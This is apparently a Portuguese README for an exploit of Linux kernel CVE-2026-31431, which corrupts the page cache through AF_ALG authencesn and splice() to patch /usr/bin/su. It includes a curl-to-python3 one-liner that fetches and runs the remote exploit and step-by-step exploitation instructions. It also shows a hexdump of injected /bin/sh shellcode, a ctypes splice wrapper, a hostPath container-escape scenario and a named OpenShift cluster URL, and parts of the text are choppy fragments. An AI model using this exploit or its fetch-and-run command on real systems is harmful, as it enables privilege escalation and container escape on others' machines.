
Exploit para o kernel Linux CVE-2026-31431 que causa corrupção do cache de páginas por meio de manipulação de AEAD authencesn, visando escalonamento de privilégios em contêineres e ambientes OpenShift.
Corrupção do page cache do kernel Linux via manipulação de AEAD authencesn.
Após testes extensivos em múltiplos clusters OpenShift 4.20.16 com kernels RHEL 9.6:
Consulte a seção Resultados de Testes Abrangentes para detalhes completos.
CVE-2026-31431 é uma vulnerabilidade do kernel Linux na implementação criptográfica AEAD authencesn que permite que processos sem privilégios corrompam o page cache de arquivos legíveis via sockets AF_ALG e manipulação da syscall splice().
Os testes mostram: A corrupção do page cache funciona de forma confiável, mas a escalada de privilégios NÃO ocorre em kernels RHEL 9.6 em nossos ambientes de teste.
Pontuação CVSS: 7.8 (Alta)
Afetados: Versões do kernel Linux com suporte a authencesn (2017-2026)
Divulgação Pública: 29 de abril de 2026
splice() via ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### A partir de um Arquivo Local```bash
python3 exploit.py
su
O que IRÁ acontecer:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Verificação do Page Cache (confirma corrupção):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
O que NÃO vai acontecer (com base em testes):```bash
su
id -u
**Conclusão:** A corrupção do cache de páginas é bem-sucedida, mas a escalada de privilégios falha.
## Detalhes Técnicos
### Vulnerabilidade
A implementação de `authencesn` (Criptografia Autenticada com Dados Associados - Número de Sequência Estendido) do kernel Linux apresenta uma falha no tratamento de operações in-place. Ao processar operações AEAD submetidas por meio de um socket AF_ALG, uma página do cache de páginas pode acabar na lista de dispersão (scatterlist) de destino gravável do kernel.
### Técnica de Exploração
1. **Criar socket AF_ALG** com `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parâmetros AEAD** (chave, authsize)
3. **Abrir binário setuid alvo** (ex.: `/usr/bin/su`)
4. **Usar splice()** para colocar o binário no cache de páginas
5. **Acionar operação AEAD in-place** causando gravação no cache de páginas
6. **Gravar shellcode** 4 bytes por vez
7. **Executar binário modificado** para obter root
### Shellcode
O exploit usa um shellcode de 160 bytes que modifica o `/usr/bin/su` para:
- Ignorar a autenticação por senha
- Conceder acesso a shell root
- Manter funcionalidade normal para usuários sem privilégios
## Compatibilidade com Python 3.9
Python 3.9 e versões anteriores não possuem `os.splice()` na biblioteca padrão. Este exploit inclui uma implementação baseada em ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Isto faz o exploit funcionar em:
Configuração do Nó:
Resultados dos Testes:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Ambiente de Teste 2: Cluster OpenShift Novo (Teste de Verificação)
**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuração do Nó:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idêntico ao Teste 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (namespace de usuário)
- Capabilities: 0x0000000000000000 (ZERO)
**Resultados do Teste:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Consistência: 100% de resultados reproduzíveis em clusters independentes
Cenário A: Com volume hostPath (Escape de Contêiner Possível)```yaml volumes:
Resultado: ✅ **Escape de contêiner** - modifica o cache de páginas do host (Dispositivo 33, Inode 4288)
**Cenário B: SCC restricted-v2 (sem hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Resultado: ❌ Sem escape de contêiner - afeta apenas o overlay do contêiner (inode separado)
Descoberta Crítica: o acesso a hostPath (não capabilities) é o fator determinante para o escape de contêiner.
Explicações Possíveis (Requer Pesquisa Adicional):
Caminhos de Código de Leitura vs Execução
mmap(PROT_READ)mmap(PROT_EXEC) podem ignorar o cache corrompidoProteções de Memória